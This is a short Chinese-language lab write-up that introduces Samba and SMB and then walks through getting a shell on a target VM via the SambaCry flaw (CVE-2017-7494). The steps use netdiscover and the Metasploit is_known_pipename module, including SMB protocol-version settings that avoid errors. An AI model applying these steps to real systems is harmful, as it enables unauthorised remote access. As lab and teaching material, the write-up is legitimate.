Part 1: Samba 介绍
Samba是SMB协议的一种实现方法,主要用来实现Linux系统的文件和打印服务。Linux用户通过配置Samba服务器可以实现与windows用户的资源共享。进程smbd和nmbd是Samba的核心,在全部时间运行。
SMB(Sever Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。SMB协议是C/S协议,client可以通过协议访问服务器上的共享文件系统。
Part 2: 实验准备
1. VMWare
2. Kali machine
3. Target machine
4. Matesploit Tool
Part 3: 实验目的
利用Samba远程代码执行漏洞(SambaCry, CVE-2017-7494)获取shell。
Part 4: 实验过程
首先要确保两台都使用桥接模式(NAT)。一般而言,我们是不太容易获得目标机器的IP地址和MAC地址的,所以我们就要使用Kali内置工具——netdicover或者是nmap,来获取目标的IP和MAC。在这里我使用netdiscover来获取同一网段的IP。
参考以下netdiscover命令:
sudo netdiscover -i eth0 -r 10.0.0.0/24
在Kali终端输入msfconsolu启动matesploit。输入search 2017-7494 寻找可利用的漏洞模块。
然后输入 use exploit/linux/samba/is_known_pipename 使用漏洞2017-7494模块。然后配置目标机IP地址
注意这里可能会出现一些报错,这可能有许多不同的原因,而一个常见的原因是客户端和服务器使用不同的协议版本。
解决办法:在 Metasploit 中输入如下命令:
set SMB::AlwaysEncrypt false
set SMB::ProtocolVersion 1
如果不知道确切的协议版本,则可以尝试不同的 SMB 版本。
执行run命令获得shell:
Reference
[1] Samba简介 - 简书
[2]msf (Metasploit): „Ruby SMB Encryption Error“